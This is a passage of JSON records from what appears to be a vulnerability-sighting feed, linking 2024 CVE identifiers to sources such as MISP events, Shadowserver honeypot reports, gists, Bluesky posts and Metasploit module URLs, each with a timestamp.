"a8c76f0c-bf63-4eaa-ad86-ba71d97b91f4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12426", "type": "seen", "source": "MISP/4d9e0694-2872-4bfc-8eee-f1ab846c5ab0", "content": "", "creation_timestamp": "2025-08-19T04:06:36.000000Z"}, {"uuid": "a70f4fb2-67cc-42c5-a073-2407df9874fc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12693", "type": "seen", "source": "MISP/acd0294c-4561-4286-a04e-5c02a1c67b1f", "content": "", "creation_timestamp": "2025-09-15T13:28:32.000000Z"}, {"uuid": "d937d573-c486-4b2b-9fb5-3c9bababb289", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12425", "type": "seen", "source": "MISP/4d9e0694-2872-4bfc-8eee-f1ab846c5ab0", "content": "", "creation_timestamp": "2025-08-19T04:06:36.000000Z"}, {"uuid": "a515970c-1e6d-4daf-88fa-4f3ce019ca4f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-10-30)", "content": "", "creation_timestamp": "2025-10-30T00:00:00.000000Z"}, {"uuid": "298fc0a7-1de5-4cef-b7f9-4028251b1ecd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-11-05)", "content": "", "creation_timestamp": "2025-11-05T00:00:00.000000Z"}, {"uuid": "41712591-dffa-4fd6-8533-cad975cbcc05", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12356", "type": "seen", "source": "MISP/1e8d1b5a-3537-4a30-907d-acb1720bbd18", "content": "", "creation_timestamp": "2025-08-19T18:29:28.000000Z"}, {"uuid": "24b267e6-476e-4945-a1dd-f7d016313920", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12686", "type": "seen", "source": "MISP/1e8d1b5a-3537-4a30-907d-acb1720bbd18", "content": "", "creation_timestamp": "2025-08-19T18:29:28.000000Z"}, {"uuid": "ea91f75c-d2d9-44b4-a50b-0e67048b7c07", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12087", "type": "seen", "source": "MISP/1e8d1b5a-3537-4a30-907d-acb1720bbd18", "content": "", "creation_timestamp": "2025-08-19T18:29:28.000000Z"}, {"uuid": "a8ae643d-21d5-4007-89c2-0eeb3c0489bf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12085", "type": "seen", "source": "MISP/1e8d1b5a-3537-4a30-907d-acb1720bbd18", "content": "", "creation_timestamp": "2025-08-19T18:29:28.000000Z"}, {"uuid": "89a0606a-61db-44c1-9a3b-3c710ba56396", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12086", "type": "seen", "source": "MISP/1e8d1b5a-3537-4a30-907d-acb1720bbd18", "content": "", "creation_timestamp": "2025-08-19T18:29:28.000000Z"}, {"uuid": "89564a3f-88ed-4d25-bfde-f114b86fa0b6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-09-22)", "content": "", "creation_timestamp": "2025-09-22T00:00:00.000000Z"}, {"uuid": "62dc9e27-dc80-4235-96e8-06fd74a2bac0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "https://threatintel.cc/2025/10/10/rondodox-botnet-targets-nday-flaws.html", "content": "", "creation_timestamp": "2025-10-10T09:42:20.000000Z"}, {"uuid": "c49e9671-542d-41c3-9fc5-879999b62a43", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12294", "type": "seen", "source": "MISP/be792712-f638-4d7d-b62d-4f5032e86764", "content": "", "creation_timestamp": "2025-09-18T16:44:35.000000Z"}, {"uuid": "c63c1bef-9ef5-490f-a8e8-0737a3f4b989", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12325", "type": "seen", "source": "MISP/be792712-f638-4d7d-b62d-4f5032e86764", "content": "", "creation_timestamp": "2025-09-18T16:44:35.000000Z"}, {"uuid": "5b986362-ba30-4c95-9432-05dac5282524", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12382", "type": "seen", "source": "MISP/be792712-f638-4d7d-b62d-4f5032e86764", "content": "", "creation_timestamp": "2025-09-18T16:44:35.000000Z"}, {"uuid": "58543641-f0de-47c1-846e-a73254ab3b67", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12381", "type": "seen", "source": "MISP/be792712-f638-4d7d-b62d-4f5032e86764", "content": "", "creation_timestamp": "2025-09-18T16:44:35.000000Z"}, {"uuid": "2c662f89-ccc4-48e5-8a48-cab21c066727", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-10-04)", "content": "", "creation_timestamp": "2025-10-04T00:00:00.000000Z"}, {"uuid": "8526fe66-7a1a-44e8-b658-8ba72db03172", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1234", "type": "seen", "source": "https://gist.github.com/cd1zz/aa95fc8e06911decc6ab4a72f4c26c2f", "content": "", "creation_timestamp": "2025-09-11T14:10:40.000000Z"}, {"uuid": "b24284fd-36d3-48aa-8818-994fa8a15688", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12345", "type": "seen", "source": "https://gist.github.com/Darkcrai86/fa0739ddcf27cecc82d4966f4e19ff1f", "content": "", "creation_timestamp": "2025-09-11T14:49:57.000000Z"}, {"uuid": "17bd8211-3bd8-4a65-b2ff-99d883a94609", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "https://poliverso.org/objects/0477a01e-7d94594b-ae20c1dc5483d2a2", "content": "", "creation_timestamp": "2025-10-11T06:19:00.558913Z"}, {"uuid": "cd3277ee-a949-4f3e-9a7c-86d7c32e01b9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12368", "type": "seen", "source": "MISP/24306fae-b16b-4478-9297-d2973cdb583c", "content": "", "creation_timestamp": "2025-08-22T14:52:23.000000Z"}, {"uuid": "cf16e584-2bf5-4ccf-8362-64edbe14e337", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-11-29)", "content": "", "creation_timestamp": "2025-11-29T00:00:00.000000Z"}, {"uuid": "b5a53752-fe0e-4eb3-88ba-ad861f72b35d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-11-09)", "content": "", "creation_timestamp": "2025-11-09T00:00:00.000000Z"}, {"uuid": "7bc416cb-ae0f-44f8-8b59-41594c537a76", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12345", "type": "seen", "source": "https://gist.github.com/mjervis-mo/a8bcddf5b94155ee1cdfc53b873a0408", "content": "", "creation_timestamp": "2025-09-09T09:41:23.000000Z"}, {"uuid": "e862999f-e208-4450-9bfd-488b1214c1b6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-08-22)", "content": "", "creation_timestamp": "2025-08-22T00:00:00.000000Z"}, {"uuid": "d1ed24ef-0d82-43e1-a73a-2cc977465a5e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-11-02)", "content": "", "creation_timestamp": "2025-11-02T00:00:00.000000Z"}, {"uuid": "af7404d4-9ea8-4a24-b73a-ec89d9b198d7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12700", "type": "seen", "source": "MISP/acd0294c-4561-4286-a04e-5c02a1c67b1f", "content": "", "creation_timestamp": "2025-09-16T03:45:00.000000Z"}, {"uuid": "ee2c4c9e-518a-4951-8671-0b0f262552ca", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12785", "type": "seen", "source": "MISP/acd0294c-4561-4286-a04e-5c02a1c67b1f", "content": "", "creation_timestamp": "2025-09-16T03:45:02.000000Z"}, {"uuid": "07942055-74cb-4e36-a51c-826a7d9a84f8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-08-23)", "content": "", "creation_timestamp": "2025-08-23T00:00:00.000000Z"}, {"uuid": "f2855792-79df-4907-a932-8f882a9d47e1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-10-07)", "content": "", "creation_timestamp": "2025-10-07T00:00:00.000000Z"}, {"uuid": "340dc134-9526-48ee-8b43-2bad3766c4fb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12787", "type": "seen", "source": "MISP/acd0294c-4561-4286-a04e-5c02a1c67b1f", "content": "", "creation_timestamp": "2025-09-16T03:45:02.000000Z"}, {"uuid": "50f1fe29-4e38-4668-b956-1627e81ad94d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12569", "type": "seen", "source": "MISP/acd0294c-4561-4286-a04e-5c02a1c67b1f", "content": "", "creation_timestamp": "2025-09-16T03:45:02.000000Z"}, {"uuid": "adcfda41-e6d8-44b4-9687-c860104994bd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12789", "type": "seen", "source": "MISP/acd0294c-4561-4286-a04e-5c02a1c67b1f", "content": "", "creation_timestamp": "2025-09-16T03:45:01.000000Z"}, {"uuid": "9ec3098b-90c9-40a7-8780-c911d60c36d7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12784", "type": "seen", "source": "MISP/acd0294c-4561-4286-a04e-5c02a1c67b1f", "content": "", "creation_timestamp": "2025-09-16T03:45:02.000000Z"}, {"uuid": "6cb9eb22-19a6-43d3-b2e2-3d2e250aeeeb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12783", "type": "seen", "source": "MISP/acd0294c-4561-4286-a04e-5c02a1c67b1f", "content": "", "creation_timestamp": "2025-09-16T03:45:02.000000Z"}, {"uuid": "194a8d8c-ddab-48a6-ac14-e8f518ea0e98", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12692", "type": "seen", "source": "MISP/acd0294c-4561-4286-a04e-5c02a1c67b1f", "content": "", "creation_timestamp": "2025-09-16T03:45:05.000000Z"}, {"uuid": "cbfb8fda-5180-4961-9efe-38d9ffa1320a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12693", "type": "seen", "source": "MISP/acd0294c-4561-4286-a04e-5c02a1c67b1f", "content": "", "creation_timestamp": "2025-09-16T03:45:05.000000Z"}, {"uuid": "4016332a-8591-4049-b78d-aee78afe708a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-10-24)", "content": "", "creation_timestamp": "2025-10-24T00:00:00.000000Z"}, {"uuid": "03669567-5fca-4fe9-a3d7-defd8ddf8eca", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12254", "type": "seen", "source": "https://gist.github.com/Vizonex/8242da16ed2d6a48b7acb812fee88957", "content": "", "creation_timestamp": "2025-09-11T23:45:45.000000Z"}, {"uuid": "138c6d0a-53e9-405e-96e1-aa9c91fb2c8b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1212", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/local/progress_kemp_loadmaster_sudo_privesc_2024.rb", "content": "", "creation_timestamp": "2024-05-10T14:47:57.000000Z"}, {"uuid": "81925157-e7be-4485-9307-9a861bac2b84", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-10-17)", "content": "", "creation_timestamp": "2025-10-17T00:00:00.000000Z"}, {"uuid": "bbb22eb9-cf2e-4093-aeb9-ead2c23614bc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-09-15)", "content": "", "creation_timestamp": "2025-09-15T00:00:00.000000Z"}, {"uuid": "57753efd-2d3a-4284-9b90-9d9762171712", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12224", "type": "seen", "source": "https://gist.github.com/keohanoi/e94348e5545a30f4a6bc3febfc24df4f", "content": "", "creation_timestamp": "2025-09-12T03:04:47.000000Z"}, {"uuid": "1c3e2251-c8dd-413a-8943-89a7c1f93530", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1212", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/http/progress_kemp_loadmaster_unauth_cmd_injection.rb", "content": "", "creation_timestamp": "2024-04-26T23:37:25.000000Z"}, {"uuid": "b25ab694-065b-4293-be76-dbc08bd62129", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12510", "type": "seen", "source": "MISP/9ca82492-7deb-4197-a6f1-191e121eef96", "content": "", "creation_timestamp": "2025-08-25T13:32:05.000000Z"}, {"uuid": "f58466d4-896f-49f5-ac95-11cd3a9c35dd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12276", "type": "seen", "source": "MISP/9ca82492-7deb-4197-a6f1-191e121eef96", "content": "", "creation_timestamp": "2025-08-25T13:32:05.000000Z"}, {"uuid": "59f92166-0aea-4103-a6be-25406184b8ca", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12452", "type": "seen", "source": "MISP/9ca82492-7deb-4197-a6f1-191e121eef96", "content": "", "creation_timestamp": "2025-08-25T13:32:05.000000Z"}, {"uuid": "f66e6612-6cfc-4bd9-b312-7ef30369c583", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12649", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3m5hfe6lk7x2s", "content": "", "creation_timestamp": "2025-11-12T19:32:48.659943Z"}, {"uuid": "471868ef-2c34-4dc6-93da-76223c5a7b4a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12284", "type": "seen", "source": "MISP/9ca82492-7deb-4197-a6f1-191e121eef96", "content": "", "creation_timestamp": "2025-08-25T13:32:05.000000Z"}, {"uuid": "4088db36-ad42-4b36-83f6-244184899727", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-11-14)", "content": "", "creation_timestamp": "2025-11-14T00:00:00.000000Z"}, {"uuid": "2fd470e3-f4ad-494f-b61a-b529d1f9e3d9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12511", "type": "seen", "source": "MISP/9ca82492-7deb-4197-a6f1-191e121eef96", "content": "", "creation_timestamp": "2025-08-25T13:32:05.000000Z"}, {"uuid": "3119846b-2fdf-4134-9233-5f950a2e486d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12356", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/http/beyondtrust_pra_rs_unauth_rce.rb", "content": "", "creation_timestamp": "2025-02-17T16:51:25.000000Z"}, {"uuid": "815be44c-d681-4620-b5d4-af200aff76c4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-09-18)", "content": "", "creation_timestamp": "2025-09-18T00:00:00.000000Z"}, {"uuid": "e0543a1d-38e9-4145-a102-d23907b53b8a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12367", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lyx2rw5qwx2o", "content": "", "creation_timestamp": "2025-09-16T10:00:15.823587Z"}, {"uuid": "06663b44-4129-4759-a7ee-56e15cef9332", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/http/netgear_dgn1000_setup_unauth_exec.rb", "content": "", "creation_timestamp": "2018-05-29T15:50:33.000000Z"}, {"uuid": "851ea02c-d7fb-48e0-8b60-8cdb5f79cf57", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12860", "type": "seen", "source": "MISP/71f05cce-2beb-4b80-8496-bbbabc032544", "content": "", "creation_timestamp": "2025-08-25T18:31:43.000000Z"}, {"uuid": "6d9bbfa9-e1bd-4959-951e-db7316e5e674", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12314", "type": "seen", "source": "MISP/71f05cce-2beb-4b80-8496-bbbabc032544", "content": "", "creation_timestamp": "2025-08-25T18:31:43.000000Z"}, {"uuid": "c259dd2f-3f5e-47d5-9173-a504f867336d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12856", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-11-29)", "content": "", "creation_timestamp": "2025-11-29T00:00:00.000000Z"}, {"uuid": "04c0fc95-4fcc-4fab-bbdb-ce9b87102a77", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12586", "type": "seen", "source": "MISP/db121278-a8f5-4f36-a226-e45f3a86f55e", "content": "", "creation_timestamp": "2025-08-26T13:26:34.000000Z"}, {"uuid": "6babfbee-7df4-46c4-b981-c36c05b072cd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-11-23)", "content": "", "creation_timestamp": "2025-11-23T00:00:00.000000Z"}, {"uuid": "1b9483dc-5ab7-4fc3-b698-ca60a3a72228", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "https://gist.github.com/Darkcrai86/17ffa17adb1c534e67334391fb5b1252", "content": "", "creation_timestamp": "2025-08-27T07:04:46.000000Z"}, {"uuid": "dd5e68a8-71e4-43ae-aa74-10d86351a7d1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-09-30)", "content": "", "creation_timestamp": "2025-09-30T00:00:00.000000Z"}, {"uuid": "90a71859-616c-49ad-9f32-0024190ac71f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12029", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/http/invokeai_rce_cve_2024_12029.rb", "content": "", "creation_timestamp": "2025-02-18T13:08:28.000000Z"}, {"uuid": "0f7597dd-1211-4e7b-9ab7-9f5e1833de9b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1212", "type": "seen", "source": "https://gist.github.com/Darkcrai86/a029fbc8652f34f91701b1d58243e483", "content": "", "creation_timestamp": "2025-08-28T17:01:38.000000Z"}, {"uuid": "89d7913d-1a2b-426d-bc2d-2ea3a10a19cb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12877", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3lxnhuahphd2g", "content": "", "creation_timestamp": "2025-08-30T21:02:25.916371Z"}, {"uuid": "639391c4-1a52-4bd9-959b-7724cfc5132b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12084", "type": "seen", "source": "MISP/3f43d0af-77bb-43b4-8f1a-89c6cbf90ef1", "content": "", "creation_timestamp": "2025-08-30T22:08:16.000000Z"}, {"uuid": "ee905dee-869b-4bd5-a9f9-8fd558f7960d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12085", "type": "seen", "source": "MISP/3f43d0af-77bb-43b4-8f1a-89c6cbf90ef1", "content": "", "creation_timestamp": "2025-08-30T22:08:16.000000Z"}, {"uuid": "12b5f42d-ca70-4f44-8bce-727ae4fdf8d0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12086", "type": "seen", "source": "MISP/3f43d0af-77bb-43b4-8f1a-89c6cbf90ef1", "content": "", "creation_timestamp": "2025-08-30T22:08:16.000000Z"}, {"uuid": "2596c7f3-eb55-432b-8b9d-ebb3acad5fe4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12087", "type": "seen", "source": "MISP/3f43d0af-77bb-43b4-8f1a-89c6cbf90ef1", "content": "", "creation_timestamp": "2025-08-30T22:08:16.000000Z"}, {"uuid": "68abe35b-4003-4f38-beb5-f98f248022f4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12088", "type": "seen", "source": "MISP/3f43d0af-77bb-43b4-8f1a-89c6cbf90ef1", "content": "", "creation_timestamp": "2025-08-30T22:08:17.000000Z"}, {"uuid": "478af167-a86e-4e1e-8ca1-6d7ad3aaeab9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12747", "type": "seen", "source": "MISP/3f43d0af-77bb-43b4-8f1a-89c6cbf90ef1", "content": "", "creation_timestamp": "2025-08-30T22:08:17.000000Z"}, {"uuid": "3eb624c0-e2ee-450a-9c26-48e16e0ba3b9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12913", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lyxhidt5ff2c", "content": "", "creation_timestamp": "2025-09-16T13:47:32.968019Z"}, {"uuid": "35ded92c-5eb5-47bf-9c1a-9cceaef8a0bf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12912", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3m63o4d6hwc23", "content": "", "creation_timestamp": "2025-11-20T21:02:48.621902Z"}, {"uuid": "0dda03ff-9171-4eb1-af22-828ecc887465", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-11-04)", "content": "", 